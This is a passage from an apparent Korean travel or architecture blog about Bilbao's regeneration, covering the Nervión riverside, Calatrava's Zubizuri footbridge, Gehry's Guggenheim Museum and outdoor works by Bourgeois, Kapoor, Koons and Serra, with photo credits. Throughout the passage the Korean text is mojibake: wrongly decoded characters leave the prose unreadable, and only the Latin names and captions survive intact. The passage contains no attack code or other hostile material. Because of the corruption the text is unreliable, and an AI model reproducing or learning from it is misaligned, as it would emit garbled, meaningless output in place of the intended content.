๊ทธ ๊ฒฐ๊ณผ ์‹œ์˜ ์ค‘์‹ฌ์ธ ๋„ค๋ฅด๋น„์˜จ ๊ฐ•๋ณ€์€ ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€์„ ์ฐพ๋Š” ๊ด€๊ด‘๊ฐ์ด๋‚˜ ์ถ”์ฐจ์žฅ์ด ์•„๋‹Œ ์ผ๋ฐ˜ ๋นŒ๋ฐ”์˜ค ์‹œ๋ฏผ๋“ค์ด ์šด๋™ํ•˜๊ณ , ์‚ฐ์ฑ…ํ•˜๊ณ  ๋†€ ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐ„์œผ๋กœ ๋งŒ๋“ค์—ˆ๊ณ  ๋„์‹œ ์–ด๋””์—์„œ๋‚˜ ์‰ฝ๊ฒŒ ๊ฑธ์–ด์„œ ๋„๋Š” ์ž์ „๊ฑฐ๋ฅผ ์ด์šฉํ•ด์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋šœ๊ป‘๋ฎ์€ ์žฌ๋ž˜์‹œ์žฅ์ด ๋ณด์ด๋Š” ๋„ค๋ฅด๋น„์˜จ ๊ฐ•๋ณ€ ํ’๊ฒฝ, Bilbao, Photo by javier alamo
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋šœ๊ป‘๋ฎ์€ ์žฌ๋ž˜์‹œ์žฅ์ด ๋ณด์ด๋Š” ๋„ค๋ฅด๋น„์˜จ ๊ฐ•๋ณ€ ํ’๊ฒฝ, Bilbao, Photo by javier alamo

๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๊ฐ•์œ„ ๋ณด๋„๋‹ค๋ฆฌ

๊ฐ• ๋ฐ”๋กœ ์˜†์— ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€์ด ๊ฑฐ๋Œ€ํ•˜๊ฒŒ ์ž๋ฆฌ๋ฅผ ์žก์œผ๋ฉด์„œ ๊ฐ•์„ ๋”ฐ๋ผ ์‚ฐ์ฑ…ํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์€ ๋ฏธ์ˆ ๊ด€์— ๋ง‰ํ˜€ ๋” ์ด์ƒ ์•ž์œผ๋กœ ๋‚˜๊ฐˆ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋Œ€์‹  ์‚ฌ๋žŒ๋“ค์€ ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๊ฐ• ์‚ฌ์ด์— ๋ฏธ๋ คํ•œ ๋ณด๋„๋‹ค๋ฆฌ๋ฅผ ํ†ตํ•ด์„œ ๊ทพ์–ด์ง€์ง€์•Š๊ณ  ๊ฐ•์„ ๋”ฐ๋ผ ์‚ฐ์ฑ…์„ ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

์‚ด๋ฒ ์ฝ” ์ฃผ๋น„์•„(Salbeko Zubia) ๋‹ค๋ฆฌ์œ„์• ์„œ ๋ณด๋„๋‹ค๋ฆฌ๋ฅผ ๋ฐ”๋ผ๋ณธ ํ’๊ฒฝ์ธ๋ฐ์š”. ๋„˜์น˜๋Š” ์—ฌ์œ ์™€ ๊ฐ•๊ณผ ๋ฏธ์ˆ ๊ด€๊ณผ ์•„๋ฆ„๋‹ค์šด ์กฐํ™”๋ฅผ ๋Š๋‚„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋น„๋ฐœ์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๊ฐ• ๊ทธ๋ฆฌ๊ณ  ๋ณด๋„ ๋‹ค๋ฆฌ ํ’๊ฒฝ, Photo by SnapwireSnaps
์ŠคํŽ˜์ธ ๋น„๋ฐœ์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๊ฐ• ๊ทธ๋ฆฌ๊ณ  ๋ณด๋„ ๋‹ค๋ฆฌ ํ’๊ฒฝ, Photo by SnapwireSnaps

์ฃผ๋น„์ฅฌ๋ฆฌ ๋‹ค๋ฆฌ(Pasarela Zubizuri)

๋นŒ๋ฐ”์˜ค์˜ ๋นŒ๋ฐ”์˜ค๊ฐ•์„ ๊ฐ€๋กœ์ง€๋ฅด๋Š” ์ฃผ๋น„์ฃผ๋ฆฌ ๋‹ค๋ฆฌ(Pasarela Zubizuri)๋Š” ์ผ๋ฐ˜์ ์ธ ์ž๋™์ฐจ๋ฅผ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹Œ ์‚ฌ๋žŒ์„ ์œ„ํ•œ ๋ณดํ–‰ ์ „์šฉ ๋‹ค๋ฆฌ์ž…๋‹ˆ๋‹ค. ์ฃผ๋น„์ฃผ๋ฆฌ๋ผ๋Š” ๋ง์€ ๋ฐ”์Šคํฌ์–ด๋กœ ‘ํ•˜์–€ ๋‹ค๋ฆฌ’๋ผ๋Š” ์˜๋ฏธ๋ฅผ ๊ฐ€์ง€๊ณ  ๋‹ค์žˆ๊ณ ํ•ด์š”.

์•ˆํ† ๋‹ˆ ๊ฐ€์šฐ๋””์ดํ›„ ๊ฐ€์žฅ ์ŠคํŽ˜์ธ๋‹ค์šด ๊ฑด๋ฌผ์„ ์ง“๋Š”๋‹ค๊ณ  ๋ช…์„ฑ์ด ์ž์žํ•œ ์‚ฐํ‹ฐ์•„๊ณ  ์นผ๋ผํŠธ๋ผ๋ฐ”(Santiago Calatrava)๊ฐ€ ๋””์ž์ธํ•œ ์ด ๋‹ค๋ฆฌ๋Š” ์•„๋ฆ„๋‹ค์šด ๋ฐฑ์ƒ‰์˜ ๋‹ค๋ฆฌ๋กœ ํŽธ๋ฆฌํ•œ ์ ‘๊ทผ์„ฑ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์•„๋ฆ„๋‹ค์šด ๊ณก์„ ๋ฏธ๋กœ ์ฃผ๋ณ€ ๊ฐ•, ์‚ฐ ๊ทธ๋ฆฌ๊ณ  ์ฃผ๋ณ€ ๊ฑด๋ฌผ๋“ฑ๊ณผ ์ž˜ ์–ด์šธ๋ฆฌ๋„๋ก ๋””์ž์ธ ๋ฐ ๊ฑด์„ค๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์Šค๋น„์Šค๋ฆฌ ๋‹ค๋ฆฌ(Pasarela Zubizuri), Photo by SnapwireSnaps
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์Šค๋น„์Šค๋ฆฌ ๋‹ค๋ฆฌ(Pasarela Zubizuri), Photo by SnapwireSnaps

์ด ์ฃผ๋น„์ฃผ๋ฆฌ ๋‹ค๋ฆฌ ์˜†์— ๋นจ๊ฐ„ ๊ธฐ๋‘ฅ์˜ ์‚ด๋ฒ  ๋‹ค๋ฆฌ๊ฐ€ ์žˆ๊ณ  ๊ทธ ๋ฐ”๋กœ ์˜†์—๋Š” ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€์ด ์žˆ์–ด ์‚ฐ์ฑ…์‚ผ์•„ ๋‹ค๋ฆฌ๋ฅผ ๊ฑฐ๋„ˆ๋ฉด์„œ ๋นŒ๋ฐ”์˜ค์˜ ๋ช…๋ฌผ ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๋„ค๋ฅด๋น„์˜จ๊ฐ•์ด ๋ณด์—ฌ์ฃผ๋Š” ์•„๋ฆ„๋‹ค์šด ํ’๊ด‘์„ ๊ฐ์ƒํ•  ์ˆ˜ ์žˆ์„ ๊ฑฐ์˜ˆ์š”.

4. ์ด์ œ๋Š” ์˜ˆ์ˆ ์ด๋‹ค, ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€

๋นŒ๋ฐ”์˜ค(Bilbao) ์žฌ์ƒ์˜ ํ™”๋ฃก์ •์ ์€ ๋นŒ๋ฐ”์˜ค๊ฐ•๋ณ€ ์„ธ์›Œ์ง„ ๊ตฌ๊ฒํ•˜๋ฆผ๋ฏธ์ˆ ๊ด€!!

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€(Guggenheim Museum, Bilbao, Spain)์€ ๋ฏธ๊ตญ์˜ ์†”๋กœ๋ชฌ R, ๊ตฌ๊ฒํ•˜์ž„ ์žฌ๋‹จ์ด ์„ค๋ฆฝํ•œ ์„ธ๋ฒˆ์งธ ํ•ด์™ธ ๋ถ„๊ด€์œผ๋กœ ๋นŒ๋ฐ”์˜ค๊ฐ• ์ฃผ๋ณ€์˜ ๋ฒ„๋ ค์ง„ ๊ณต์žฅ, ์ฐฝ๊ณ  ๊ทธ๋ฆฌ๊ณ  ํ™”๋ฌผ์—ญ ๋ถ€์ง€์— ์žฅ์žฅ 7๋…„์— ๊ฑธ์ณ ์„ธ๊ณ„์ ์ธ ๊ฑด์ถ•๊ฐ€ ํ”„๋žญํฌ ๊ฒŒ๋ฆฌ(Frank Gehry)์˜ ์„ค๊ณ„ํ•˜์— 1997๋…„ ์™„์„ฑ๋˜์—ˆ๋‹ค๊ณ  ํ•ด์š”.

๋‹น์‹œ ์„ธ๋ฒˆ์งธ ๊ตฌ๊ฒํ•˜์ž„ ๋ถ„๊ด€์€ ์˜ค์ŠคํŠธ๋ฆฌ์•„ ์ž˜์ธ ๋ถ€๋ฅดํฌ์™€ ์น˜์—ดํ•œ ๊ฒฝ์Ÿ๋์— ์œ ์น˜์— ์„ฑ๊ณตํ–ˆ๋Š”๋ฐ์š”. ๋‹น์‹œ ๋ฐœ๋น„์˜ค ์‹œ๋ฏผ 97%๋Š” ์ง€๋‚˜์น˜๊ฒŒ ๋งŽ์€ ์˜ˆ์‚ฐ์ด๋“ ๋‹ค๋ฉฐ ๋ฐ˜๋Œ€ํ–ˆ๋‹ค๊ณ ํ•ด์š”. ๊ทธ๋Ÿผ์—๋„๋ถˆ๊ตฌํ•˜๊ณ  ๋ฏธ๋ž˜๋ฅผ ๋ณด๊ณ  ๋ฐ€์–ด๋ถ€์นœ ๊ฒฐ๊ณผ๋Š” ๋Œ€์„ฑ๊ณต์ด์—ˆ์ฃ .

๋ฏธ์ˆ ๊ด€ ์™ธ๊ด€์€ ์ฃผ๋กœ ํ‹ฐํƒ€๋Š„, ์„ํšŒ์•”, ์œ ๋ฆฌ๋กœ ๋งŒ๋“ค์–ด์กŒ๊ณ  ํ”„๋žญํฌ ๊ฒŒ๋ฆฌ(Frank Gehry)๋Š” ๋นŒ๋ฐ”์˜ค ํ•˜๋Š˜์„ ๊ทธ๋Œ€๋กœ ๋‹ด์„ ์ˆ˜ ์žˆ๋Š” ํ‹ฐํƒ€๋Š„ ์†Œ์žฌ๋ฅผ ์„ ํ˜ธํ–ˆ๋‹ค๊ณ  ํ•˜๋„ค์š”.

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€(Guggenheim Museum, Bilbao, Spain)์€ ์•ฝ 3๋งŒ 3์ฒœ๊ฐœ์˜ ํ‹ฐํƒ€๋Š„ ์กฐ๊ฐ์„ ์‚ฌ์šฉํ•ด ํ‹ฐํƒ€๋Š„ ์กฐ๊ฐ๋“ค์ด ๋งˆ์น˜ ๋ฌผ๊ณ ๊ธฐ ๋น„๋Š˜์ฒ˜๋Ÿผ ์€์€ํ•œ ๋น›์„ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ํŠน์ง•์œผ๋กœ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„์€ ๋ฉ”ํƒˆ ํ”Œ๋ผ์›Œ(Metal Flower)๋ผ๋Š” ๋ณ„์นญ์„ ์–ป์—ˆ์Šต๋‹ˆ๋‹ค.

1997๋…„ 10์›” ๊ฐœ๊ด€ ํ›„ 1๋…„๋™์•ˆ ์˜ˆ์ƒ ๋ฐฉ๋ฌธ๊ฐ 35๋งŒ๋ช…์„ ํ›Œ์ฉ๋„˜๋Š” 130๋งŒ๋ช…์ด ๋ฐœ๋น„์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€์„ ๋ฐฉ๋ฌธํ•ด ์—„์ฒญ๋‚œ ์„ฑ๊ณต์„ ๊ฑฐ๋‘์—ˆ์ฃ .

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „๊ฒฝ, ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€(Guggenheim Museum, Bilbao, Spain), Photo by jorge-fernandez
๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€(Guggenheim Museum, Bilbao, Spain), Photo by jorge-fernandez
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „๊ฒฝ, Guggenheim Museum, Bilbao, Spain, Photo by Vitor Pinto
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „๊ฒฝ, Guggenheim Museum, Bilbao, Spain, Photo by Vitor Pinto

4.1. ๋ฃจ์ด์Šค ๋ถ€๋ฅด์ฃผ์•„(Louise Bourgeois)์˜ ๊ฑฐ๋ฏธ ๋งˆ๋ง(Maman)

๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž์—๋Š” ๊ฑฐ๋Œ€ํ•œ ํฌ๊ธฐ์˜ ๊ฑฐ๋ฏธ๋ฅผ ๋งŒ๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฃจ์ด์Šค ๋ถ€๋ฅด์ฃผ์•„(Louise Bourgeois)์˜ ๊ฑฐ๋ฏธ ๋งˆ๋ง(Maman) ์ด์ฃ .

ํ”„๋ž‘์Šค์–ด๋กœ ์—„๋งˆ๋ฅผ ๋œปํ•˜๋Š” ์ด ์ž‘ํ’ˆ ๋งˆ๋ง์€ ์ฒ ํŒ ์กฐ๊ฐ์„ ์ด์–ด๋ถ™์ธ ๊ฑฐ๋Œ€ํ•œ ๊ฑฐ๋ฏธ ๋‹ค๋ฆฌ๋ฅผ ๋งŒ๋“ค๊ณ  ์ฒ ๋ง์„ ์‹คํƒ€๋ ˆ์ฒ˜๋Ÿผ ์—ฎ๊ณ  ๊ทธ ์†์— ๋Œ€๋ฆฌ์„์„ ๋„ฃ์–ด ๋ชธํ†ต๊ณผ ์•Œ์„ ํ’ˆ์€ ์•„๋žซ ๋ฐฐ๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค๊ณ …

์ž‘๊ฐ€์˜ ๋ถˆ์šฐํ–ˆ๋˜ ์–ด๋ฆฐ ์‹œ์ ˆ, ์•„๋ฒ„์ง€์™€ ๋ถˆํ–‰ํ–ˆ๋˜ ๊ฐ€์ • ํ™˜๊ฒฝ์—๋Œ€ํ•œ ๋‘๋ ค์›€, ๊ทธ๋ฆฌ๊ณ  ๊ทธ๊ฒƒ์„ ํ•ด์ณ๋‚˜๊ฐ€๋Š” ์–ด๋จธ๋‹ˆ์˜ ์‚ฌ๋ž‘๊ณผ ์–ด๋จธ๋‹ˆ์— ๋Œ€ํ•œ ๊ฒฝ์™ธ์‹ฌ์„ ๊ฑฐ๋Œ€ํ•œ ๊ฑฐ๋ฏธ๋กœ ํ˜•์ƒํ™” ํ–ˆ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋งˆ์ˆ ๊ด€ ์•ž์— ์ „์‹œ๋œ๋ฃจ์ด์Šค ๋ถ€๋ฅด์ฃผ์•„(Louise Bourgeois)์˜ ๊ฑฐ๋ฏธ ๋งˆ๋ง(Maman), Photo by sebastian-staines
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋งˆ์ˆ ๊ด€ ์•ž์— ์ „์‹œ๋œ ๋ฃจ์ด์Šค ๋ถ€๋ฅด์ฃผ์•„(Louise Bourgeois)์˜ ๊ฑฐ๋ฏธ ๋งˆ๋ง(Maman), Photo by sebastian-staines

4.2. ์•„๋‹ˆ์‰ฌ ์นดํ‘ธ์–ด(Anish Kapoor)์˜ ‘ํ‚ค ํฐ ๋‚˜๋ฌด์™€ ๋ˆˆ(Tall tree and the Eye, 2009)

๊ตฌ์ผ„ํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋’ทํŽธ์—๋Š” ์•„๋‹ˆ์‰ฌ ์นดํ‘ธ์–ด(Anish Kapoor)์˜ ‘ํ‚ค ํฐ ๋‚˜๋ฌด์™€ ๋ˆˆ(Tall tree and the Eye, 2009)์ด ์„ค์น˜๋˜์–ด ์žˆ๋„ค์š”.

์•ˆ๊ฐœ๊ฐ€ ํ”ผ์–ด์˜ค๋ฅด๋Š” ์•„์นจ ๊ฐ•๊ฐ€ ํ’๊ฒฝ๊ณผ ์ด ์ž‘ํ’ˆ๊ณผ ์ž˜์–ด์šธ๋ ค ์ข‹์€ ์ดฌ์˜ ์†Œ์žฌ๊ฐ€ ๋˜๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž์— ์„คํ”ผ๋œ ์•„๋‹ˆ์‰ฌ ์นดํ‘ธ์–ด(Anish Kapoor)์˜ 'ํ‚ค ํฐ ๋‚˜๋ฌด์™€ ๋ˆˆ(Tall tree and the Eye, 2009), Guggenheim Museum, Bilbao, Spain, Photo by lucia-hernandez
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž์— ์„ค์น˜๋œ ์•„๋‹ˆ์‰ฌ ์นดํ‘ธ์–ด(Anish Kapoor)์˜ ‘ํ‚ค ํฐ ๋‚˜๋ฌด์™€ ๋ˆˆ(Tall tree and the Eye, 2009), Guggenheim Museum, Bilbao, Spain, Photo by lucia-hernandez

4.3. ์ œํ”„ ์ฟค์Šค(Jeff Koons)์˜ ๊ฐ•์•„์ง€(Puppy)

๋ฏธ๊ตญ์˜ ๋Œ€ํ‘œ์ ์ธ ์ „์œ„ ์˜ˆ์ˆ ๊ฐ€ ์ œํ”„ ์ฟค์Šค(Jeff Koons)๊ฐ€ ์ž‘์—…ํ•œ ๊ฐ•์•„์ง€(Puppy)๊ฐ€ ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž ๊ด‘์žฅ์—์„œ ๊ด€๋ผ๋งฅ๋“ค์„ ๋งž์ดํ•˜๊ณ  ์žˆ๋„ค์š”.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž ๊ด‘์žฅ์— ์„คํ”ผ๋œ ์ œํ”„ ์ฟค์Šค(Jeff Koons)์˜ ๊ฐ•์•„์ง€(Puppy), Photo by Chatride Sevilla
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์•ž ๊ด‘์žฅ์— ์„คํ”ผ๋œ ์ œํ”„ ์ฟค์Šค(Jeff Koons)์˜ ๊ฐ•์•„์ง€(Puppy), Photo by Chatride Sevilla

4.4. ๋ฆฌ์ฐจ๋“œ ์„ธ๋ผ(Richard Serra)์˜ ‘์‹œ๊ฐ„์˜ ๋ฌธ์ œ(The matter of Time)

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋‚ด๋ถ€ ์ „์‹œ๋œ ์ž‘ํ’ˆ ์ค‘ ์œ ๋ช…ํ•œ ๊ฒƒ์ด ๋ฏธ๊ตญ ์ž‘๊ฐ€ ๋ฆฌ์ฐจ๋“œ ์„ธ๋ผ(Richard Serra)์˜ ‘์‹œ๊ฐ„์˜ ๋ฌธ์ œ(The matter of Time)์ž…๋‹ˆ๋‹ค.

์ด ์ž‘ํ’ˆ์€ ๊ฑฐ๋Œ€ํ•œ ํ•˜๋‚˜์˜ ์••์—ฐ ๋‚˜์„ ๊ณผ 7๊ฐœ์˜ ๊ฑฐ๋Œ€ํ•œ ๋‚˜์„ ์œผ๋กœ ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์— ์‚ฌ์šฉ๋œ ์žฌ๋ฃŒ๋Š” ์•ฝ 2์ธํ‹ฐ ๋‘๊ป˜์˜ ๊ฐ•ํŒ์ด๊ณ , ์ตœ๋Œ€ ๊ธธ์ด 50ํ”ผํŠธ, ๋†’์ด 14ํ”ผํŠธ๋กœ ์ˆ˜ํ‰ ๋ฐ ์ˆ˜์ง ์ถ•์„ ๋”ฐ๋ผ์„œ ๋‚˜์„ ํ˜•์œผ๋กœ ๊ตฌ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ์ž‘ํ’ˆ์ด ์ „์‹œ๋œ ์ „์‹œ์‹ค์€ ํญ 80ํ”ผํŠธ, ๊ธธ์ด 430ํ”ผํŠธ๋กœ ๊ตฌ์„ฑ๋œ ๋ฏธ์ˆ ๊ด€ ๋‚ด์—์„œ ๊ฐ€์žฅ ํฐ ์ „์‹œ์‹ค์ด๋ผ๊ณ  ํ•ด์š”.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์†Œ์žฅ ์ž‘ํ’ˆ ๋ฏธ๊ตญ ์ž‘๊ฐ€ ๋ฆฌ์ฐจ๋“œ ์„ธ๋ผ(Richard Serra)์˜ '์‹œ๊ฐ„์˜ ๋ฌธ์ œ(The matter if Time), Richard Serra La materia del tiempo
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์†Œ์žฅ ์ž‘ํ’ˆ ๋ฏธ๊ตญ ์ž‘๊ฐ€ ๋ฆฌ์ฐจ๋“œ ์„ธ๋ผ(Richard Serra)์˜ ‘์‹œ๊ฐ„์˜ ๋ฌธ์ œ(The matter if Time), Richard Serra La materia del tiempo

4.5. ์ œํ”„ ์ฟค์Šค์˜ ํŠค๋ฆฝ(Tulips)

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์™ธ๋ถ€์— ์ „์‹œ๋œ ์ž‘ํ’ˆ ์ค‘ ๊ฐ€์žฅ ๊ฐ•๋ ฌํ•œ ์ปฌ๋Ÿฌ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ์ „์‹œ ์ž‘ํ’ˆ ํˆด๋ฆฝ(Tulips)

์ œํ”„๋ฆฌ ์ฟค์Šค๋Š” 2์ฐจ ์„ธ๊ณ„๋Œ€์ „ ์ดํ›„ ํƒœ์–ด๋‚œ ์ƒ์กด ์ž‘๊ฐ€ ์ค‘ ๊ฐ€์žฅ ๋น„์‹ผ ์ž‘๊ฐ€๋กœ ์•Œ๋ ค์กŒ๋Š”๋ฐ์š”. 2012๋…„ 11์›” ๋‰ด์š• ํฌ๋ฆฌ์Šคํ‹ฐ ๊ฒฝ๋งค์—์„œ ๊ทธ์˜ ์ž‘ํ’ˆ ‘ํŠค๋ฆฝ(Tulips)์ด 3368๋งŒ ๋‹ฌ๋Ÿฌ์— ๋‚™์ฐฐ๋˜๋ฉด์„œ ์ตœ๊ณ ๊ฐ€๋ฅผ ๊ธฐ๋กํ–ˆ๋‹ค๊ณ  ํ•ด์š”.

์ด ํ•œ ์ž‘ํ’ˆ ์ „์‹œ๋ฅผ ์œ„ํ•ด์„œ ํ˜ธ์ˆ˜์˜† ์™ธ๋ถ€์— ์ „์‹œ๊ณต๊ฐ„์„ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „์‹œ ์ž‘ํ’ˆ ์ œํ”„๋ฆฌ ์ฟค์Šค์˜ ํŠค๋ฆฝ(Tulips), Photo by Ramon Perucho
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „์‹œ ์ž‘ํ’ˆ ์ œํ”„๋ฆฌ ์ฟค์Šค์˜ ํŠค๋ฆฝ(Tulips), Photo by Ramon Perucho

4.6. ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋‚ด๋ถ€

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋‚ด๋ถ€๋Š” ๊ธฐ๋‘ฅ๊ณผ ๋ณด๊ฐ€ ์—†๋Š” ๋…ํŠนํ•œ ๊ฑด๋ฌผ๋กœ ๋””์ž์ธ์„ ํ–ˆ๋Š”๋ฐ ๊ฑด์ถ•๊ฐ€ ํ”„๋žญํฌ ๊ฒŒ๋ฆฌ(Frank Gehry)๋Š” ํ•ญ๊ณต๊ธฐ ์ œ์ž‘ ํ”„๋กœ๊ทธ๋žจ์ธ ‘์นดํ‹ฐ์•„(Catia)’๋ฅผ ์ด์šฉํ•ด ์„ค๊ณ„ํ–ˆ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋‚ด๋ถ€, Photo by taeyun kim
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ๋‚ด๋ถ€, Photo by taeyun kim

์‚ด๋ฒ ์ฝ” ์ฃผ๋น„์•„(Salbeko Zubia) ๋‹ค๋ฆฌ

๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์˜†์—๋Š” ์‚ด๋ฒ ์ฝ” ์ฃผ๋น„์•„(Salbeko Zubia) ๋‹ค๋ฆฌ๊ฐ€ ์œ„์น˜ํ•ด ์žˆ๋Š”๋ฐ์š”. ์ด ๋‹ค๋ฆฌ๋Š” ๊ฐ•๋‹นํžˆ ์ปฌ๋Ÿฌํ’€ํ•˜๊ฒŒ ๋””์ž์ธ๋˜์–ด ํ‹ฐํƒ€๋Š„ ์ค‘์‹ฌ์˜ ๊ฐ•๋ ฅํ•œ ๋‹จ์ƒ‰์„ ์ง€ํ–ฅํ•œ ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ณผ๊ณผ ๊ฐ•๋ ฌํ•œ ๋Œ€๋น„๋ฅผ ๋ณด์—ฌ ์ค๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋น„๋ฐœ์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ์‚ด๋ฒ ์ฝ” ์ฃผ๋น„์•„(Salbeko Zubia) ๋‹ค๋ฆฌ์˜ ๋Œ€์กฐ์  ์ปฌ๋Ÿฌ, Guggenheim Museum Bilbao, Bilbo, Spain, Photo by Enrique
์ŠคํŽ˜์ธ ๋น„๋ฐœ์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ์‚ด๋ฒ ์ฝ” ์ฃผ๋น„์•„(Salbeko Zubia) ๋‹ค๋ฆฌ์˜ ๋Œ€์กฐ์  ์ปฌ๋Ÿฌ, Guggenheim Museum Bilbao, Bilbo, Spain, Photo by Enrique

5. ๊ณต๊ณต ๋””์ž์ธ์—์„œ ์Šน๋ถ€๋ฅผ ๋ณด๋‹ค

